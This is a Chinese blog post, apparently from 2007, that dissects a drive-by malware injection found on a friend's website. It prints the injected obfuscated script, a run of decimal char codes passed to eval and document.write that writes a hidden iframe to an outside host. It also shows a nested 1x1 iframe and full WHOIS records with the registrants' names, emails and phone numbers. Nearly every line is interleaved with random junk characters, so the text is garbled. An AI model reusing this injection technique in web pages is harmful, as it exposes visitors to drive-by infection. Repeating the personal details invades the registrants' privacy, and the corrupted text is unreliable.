首发在我的博客里面，
}kvix{ Er
j{_i?R? http://www.areway.cn/?p=175 !0Nf`iCQ( FVrB#Hw~ nf"#F@dk 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
+<[ q"3 uE9,N$\L_ <script>t=’60,105,102,114,97,109,101,
2!B|w8ar 32,115,114,99,61,104,116,116,112,58,47,47,
_1G/qHf^S 102,114,101,101,46,117,45,117,117,117,46,99,
] 7W!f 2@ 110,47,101,114,114,111,114,46,104,116,109,
DAWF
=p] 32,119,105,100,116,104,61,49,48,48,32,104,
Ru*gbv,U 101,105,103,104,116,61,48,62,60,47,105,102,
@XzfuuE] 114,97,109,101,62′;
JP6 Noia t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
A~a 3bCX+" mKO~`Wq%@ <script>t=’60,105,102,114,97,109,101,32,115,
[5p9p1@u{C 114,99,61,104,116,116,112,58,47,47,102,114,
]3I a>i 101,101,46,117,45,117,117,117,46,99,110,47,
CV"}(1T 101,114,114,111,114,46,104,116,109,32,119,
Q`AlK"G, 105,100,116,104,61,49,48,48,32,104,101,105,
!P EKMDh 103,104,116,61,48,62,60,47,105,102,114,97,
FauASu,A 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
8o%Vn'^t document.write(t);</script>
{X(nn.GpC c8uw_6#r(D <html xmlns=”
v(.m M9> http://www.w3.org/1999/xhtml =oL:|$Pj “>
PL$XXj>|: <head>
JnK<:]LcK <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
qX-5/;n <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Ah7"qv'L\ <title>首页 - 爱生活家庭网
~//9Nz~;3 l%GArH` 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
MW rhVn{R 转换字符串后的大概内容是（谁点击后果自付）：
MjC<N[WO>N <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
TC yev[( d> ) =| 查询玉米u-uuu.cn的详细信息：
c{y'&3\
Domain Name: u-uuu.cn
HLPRTta. ROID: 20070901s10001s64972306-cn
Fh)xm* u( Domain Status: ok
jH<Sf: Y( Registrant Organization: 王雷
`Ze$Bd\ Registrant Name: 王雷
JX 5/PCO Administrative Email:
czlovexs@126.com 0$Rn|yqf % Sponsoring Registrar: 北京万网志成科技有限公司
@~ke=w6&pe Name Server:ns.yovole.com
v%*don Name Server:ns1.yovole.com
.cs x"JC Registration Date: 2007-09-01 17:54
Qv ~@ Expiration Date: 2008-09-01 17:54
-9{N7H 最后PING了一下地址 都没有什么….
/fT"WaTEK M]{ ~T 7n- 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
v0)Y, hW <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
QlMLWi <script language=”javascript” src=”
iU 6,B http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script &&C70+_po >
G ^d p9A 这个玉米应该有可能是木马作者的：
Ij4q &i" foafau.info的详细信息：
Posz|u <x Access to INFO WHOIS information is provided to assist persons in
J Y8Rk= determining the contents of a domain name registration record in the
-d4 v:Jab Afilias registry database. The data in this record is provided by
7 SJ=2 Afilias Limited for informational purposes only, and Afilias does not
u,8)M' UU guarantee its accuracy. This service is intended only for query-based
'62_q 8: access. You agree that you will use this data only for lawful purposes
+:jonN9d and that, under no circumstances will you use this data to: (a) allow,
> uYQt ~s enable, or otherwise support the transmission by e-mail, telephone, or
8493Sw facsimile of mass unsolicited, commercial advertising or solicitations
KM[0aXOtv to entities other than the data recipient’s own existing customers; or
d38o*+JCf (b) enable high volume, automated, electronic processes that send
MhHh`WUGh queries or data to the systems of Registry Operator, a Registrar, or
Fw-Rv'\ Afilias except as reasonably necessary to register domain names or
w" [T modify existing registrations. All rights reserved. Afilias reserves
A r >JQ@0 the right to modify these terms at any time. By submitting this query,
%zGv +H? you agree to abide by this policy.
~Oq
_lM Domain ID:D22418703-LRMS
7M~ /
q. Domain Name:FOAFAU.INFO
? eX$Wc{ Created On:20-Nov-2007 16:05:42 UTC
AeEdqX) Last Updated On:20-Nov-2007 16:05:44 UTC
71[?AmxV Expiration Date:20-Nov-2008 16:05:42 UTC
~3gazTe9 Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
l @GJcCufE Status:CLIENT DELETE PROHIBITED
hE=xS:6 Status:CLIENT RENEW PROHIBITED
6ZHeAb]" Status:CLIENT TRANSFER PROHIBITED
3^ wHL:u Status:CLIENT UPDATE PROHIBITED
!6X6_ +}M Status:TRANSFER PROHIBITED
P/ 6$TgQ Registrant ID:GODA-040110615
v?]a tb/h` Registrant Name:liu hong
^TZmc{i Registrant Organization:
hL/u5h%$ Registrant Street1:beijing
Rf`_q7fm Registrant Street2:
%b*N.v1+ Registrant Street3:
'q:7PkN!p Registrant City:beijing
LRu*%3xx Registrant State/Province:
yKj}l,i~8 Registrant Postal Code:100000
+zch e Registrant Country:CN
%eofG ]VM< Registrant Phone:+86.860108888777
/Lr`Aka5 Registrant Phone Ext.:
*)w+xWmM3w Registrant FAX:
#3_g8ni5X Registrant FAX Ext.:
9VTAs:0D= Registrant Email:bbbshiji@163.com
EQ^]W-gN Admin ID:GODA-240110615
s/hW haS< Admin Name:liu hong
l+2NA4s Admin Organization:
n7;jME/! Admin Street1:beijing
V0>[bzI Admin Street2:
D['J4B Admin Street3:
)s:kQ~+ Admin City:beijing
|0}Xb|+ Admin State/Province:
h&L-G j Admin Postal Code:100000
)_C>hWvo_ Admin Country:CN
/hqn>t Admin Phone:+86.860108888777
Z_bVCe{ Admin Phone Ext.:
<h9nt4 F Admin FAX:
ba G_7>Q9H Admin FAX Ext.:
.up[wt gN Admin Email:bbbshiji@163.com
U'F}k0h?\' Billing ID:GODA-340110615
dO2?&f Billing Name:liu hong
xva
e^gr
Billing Organization:
0!YVRit\N Billing Street1:beijing
?F]P=S:x Billing Street2:
Xux[ Billing Street3:
@ntwdv; Billing City:beijing
rz&V .,s Billing State/Province:
c"kB @P
Billing Postal Code:100000
%E @o8 Billing Country:CN
m_Ed[h/I Billing Phone:+86.860108888777
tik*[1it Billing Phone Ext.:
&D[M<7T Billing FAX:
25`W"x_ Billing FAX Ext.:
53aJnxX Billing Email:bbbshiji@163.com
,_(=w.F
Tech ID:GODA-140110615
~cp=B>*( Tech Name:liu hong
3 xW:" Tech Organization:
nkPlfH Tech Street1:beijing
\9p.I?= Tech Street2:
+ pT;;
9 Tech Street3:
Jxe 5y3*
( Tech City:beijing
U3B&3K} ~ Tech State/Province:
"zNS6I?rzE Tech Postal Code:100000
qh6b;ae\x Tech Country:CN
[g@qZ5I. Tech Phone:+86.860108888777
m[y~-n Tech Phone Ext.:
.{I LeG Tech FAX:
p#4*:rpq4 Tech FAX Ext.:
|=:@<0.' Tech Email:bbbshiji@163.com
'q;MhnU+ Name Server:NS27.DOMAINCONTROL.COM
ZhCz]z~tj6 Name Server:NS28.DOMAINCONTROL.COM
3C!|!N1Hn Name Server:
mIG>`7`7N Name Server:
Wx3DWY; Name Server:
r]xN&Ne5Q Name Server:
_z%\53h Name Server:
V+1c<LwT Name Server:
`UzH *w@e Name Server:
C[ znUI> Name Server:
y~]D402Cx Name Server:
zF FYl7] Name Server:
rN#9p+t$ Name Server:
\ CcVk"/ j8e=],sQ 接着下载每个文件里面的代码：
&/^p:I 一步一步看..
& ;5f/ 
e^~d x }X 
9.dZA9 l@g 
a>4q"IT6 
UK^w;w2F 
1S(oi 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
